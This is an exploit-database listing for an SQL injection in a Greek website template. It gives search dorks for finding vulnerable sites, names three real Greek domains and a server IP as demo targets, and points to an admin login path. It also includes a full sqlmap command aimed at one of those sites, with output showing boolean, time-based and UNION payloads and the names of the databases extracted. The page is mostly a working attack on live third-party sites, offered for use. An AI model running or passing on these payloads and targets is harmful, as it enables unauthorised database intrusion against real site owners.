Advertisement






Designed and Developed by Web Experts SQL Injection (Greece script)

CVE Category Price Severity
CWE-89 Not specified High
Author Risk Exploitation Type Date
Web experts High Remote 2019-06-02
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019060007

Below is a copy:

Designed and Developed by Web Experts SQL Injection (Greece script)
# Exploit Title:Designed and Developed by Web Experts SQL Injection (Greece script)
# Date:02.06.2019
# Dork1:intext:Designed and Developed by Web Experts inurl:english/article.php?id=
# Dork2:inurl:english/article.php?id= site:.gr
# Exploit Author:H9xHacker
# Tested on:Linux

Reverse check bing.com

ip:109.169.29.6 .php?id= (This server contains 93 domains)

#Demo
https://fgm.com.gr/english/article.php?id=31
https://www.dancearchive.gr/english/article.php?id=6
https://sotiriadelli.gr/article.php?id=8

# Admin control panel path

site.com/administration/login.php

# Poc:
sqlmap.py --level=5 --risk=3 --timeout=10 --threads=10 --random-agent -u https://fgm.com.gr/english/article.php?id=31 --no-cast --batch --dbs

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=31 AND 8117=8117

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: id=31 AND SLEEP(5)

    Type: UNION query
    Title: Generic UNION query (NULL) - 13 columns
    Payload: id=-2902 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716b706b71,0x746f6351716354626c494542637662484559774e6d6c4c6e4c4552764b5475756e61487a52527165,0x716b787671),NULL,NULL,NULL-- Ulta
---
web application technology: Apache
back-end DBMS: MySQL >= 5.0.12
available databases [2]:
[*] fgm_db
[*] information_schema

----------------------------------

Greets:Sr7K-HitlerAlsharef-Lion.Hacker-F9.aLhOThaLi-LaZy-Tony.Hacker-nEon-Yn11 And All My Friends

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.